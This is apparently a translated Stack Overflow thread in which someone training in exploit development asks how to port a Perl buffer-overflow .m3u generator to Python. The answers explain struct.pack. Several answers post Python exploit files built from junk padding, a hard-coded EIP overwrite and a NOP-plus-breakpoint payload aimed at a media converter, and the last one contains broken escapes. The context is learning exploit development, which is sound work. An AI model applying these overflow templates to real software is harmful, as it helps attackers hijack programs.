2011-06-17 38 views
8

最近我一直在研究一些漏洞利用開發,以便爲培訓課程做好準備,並且我遇到了一個教程問題。我一直在跟隨我可以找到的所有教程,使用Python而不是使用教程所用的語言,而不是使用偏好。我試圖對所有內容進行交叉編碼,但我無法弄清楚如何對Perl的Pack()函數進行交叉編碼。Python中的Perl's Pack('V')函數?

TL; DR: 我想這個翻譯成蟒蛇:

my $file= "test1.m3u"; 
my $junk= "A" x 26094; 
my $eip = pack('V',0x000ff730); 

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc"; 
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file"); 
print $FILE $junk.$eip.$shellcode; 
close($FILE)print "m3u File Created successfully\n"; 

我發現Python的struct.pack()函數,但是當我使用

Fuzzed.write(struct.pack('V', 0x773D10A4)) 

,它會停止程序並且不起作用。我究竟做錯了什麼?

這是我的全部源代碼

import struct 

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w') 
Fuzzed.write('A' * 26072) 
string = str(struct.pack('V',0x773D10A4)) 
Fuzzed.write(string) 
Fuzzed.write('C' * 3000) 
+0

你從哪裏得到'V'作爲格式字符?應該代表什麼類型?使用'I'作爲'unsigned int'(4字節)。 –

回答

11

嘗試使用"L<"包模板,而不是"V"。這應該在Perl和Python中都起作用。 NV是較老的perl方法,用於指定字節順序,<>是較新的方法。它看起來像Python從Perl借用pack,它只採用了更新,更靈活的界面。

編輯: Python的希望之前<類型說明符,Perl的同時,希望它。不那麼兼容:(

8

Python的struct.pack使用爲endianess/size variation的第一個字符,然後一個或一個以上的data type。Perl的Vmeans 32位無符號整型/ little-endian的。

Python的類似物是struct.pack('<I', 0x773D10A4)

+0

謝謝,這工作完美。 – Schinza

1

這正是你想要的。怎麼樣的培訓課程?

import struct

file = 'crash.m3u' junk = b'\x41' * 26091 eip = struct.pack('<I', 0x1d5f23a) preshellcode = b'\xcc' * 4 shellcode = b'\x90' * 25 + b'\xcc' fp = open(file, 'wb') fp.write(junk + eip + preshellcode + shellcode) fp.close() import binascii print binascii.hexlify(open(file, 'rb').read()) print 'm3u file is ready'
2

我已經翻譯成蟒蛇,我已經嘗試了MP3轉換器。這裏是你的答案:

import sys 
file = "8.m3u" 
junk = "A"*26042 
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A 
shellcode =" " 
shellcode += "\x90"*25 
shellcode += "xcc" 
shellcode += "\x90"*25 
tmp = junk + eip + shellcode 
D = open(file, 'w') 
D.write(tmp) 
D.close() 
print "m3u File Created successfully\n"